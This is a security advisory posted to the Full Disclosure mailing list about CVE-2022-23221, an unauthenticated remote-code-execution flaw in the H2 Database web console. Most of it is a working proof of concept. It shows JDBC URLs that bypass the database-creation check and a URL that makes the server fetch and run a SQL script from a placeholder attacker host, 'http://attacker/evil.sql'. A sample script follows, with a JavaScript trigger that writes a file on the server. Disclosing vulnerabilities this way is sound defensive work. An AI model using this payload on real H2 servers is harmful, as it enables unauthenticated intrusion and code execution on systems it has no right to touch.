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Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

From: Ismail Aydemir <me@ismail.email> Date: Wed, 19 Jan 2022 11:17:49 -0500

Document Title

Unauthenticated RCE vuln in the H2 Database console: CVE-2022-23221.

Product Description

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The H2 Console Application

The Console lets you access a SQL database using a browser interface.

Homepage: http://www.h2database.com/html/quickstart.html

Affected Components

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File Name: WebServer.java

File Path: /h2database/h2/src/main/org/h2/server/web/WebServer.java

Impacted Function: getConnection

PoC

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1) Navigate to the console and attempt to connect to a H2 in memory database that does not exist using the following JDBC URL:

jdbc:h2:mem:1337;

2) Note that you get the following security exception preventing you from creating a new in memory database:

Database "mem:1337" not found, either pre-create it or allow remote database creation (not recommended in secure environments) [90149-209] 90149/90149 (Help)

3) Now try again with the following JDBC URL:

```
jdbc:h2:mem:1339;IGNORE UNKNOWN SETTINGS=TRUE;FORBID CREATION=FALSE;'\
4) Note that you were able to successfully create a new in memory database
5) Create a SQL file that contains a trigger that executes
java/javascript/ruby code when executed and host it on a domain you
control (ex: http://attacker)
6) Use the following JDBC URL to execute the SQL file hosted on your
domain on connect:
jdbc:h2:mem:1337;IGNORE UNKNOWN SETTINGS=TRUE;FORBID CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://attacker/evil.sql';'\
Example evil.sql file:
CREATE TABLE test (
     id INT NOT NULL
CREATE TRIGGER TRIG JS BEFORE INSERT ON TEST AS '//javascript
var fos = Java.type("java.io.FileOutputStream");
var b = new fos ("/tmp/pwnedlolol");';
INSERT INTO TEST VALUES (1);
CVE Issued: CVE-2022-23221
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: <a href="http://seclists.org/fulldisclosure/">http://seclists.org/fulldisclosure/</a>
```



Current thread:

Sita Saarch

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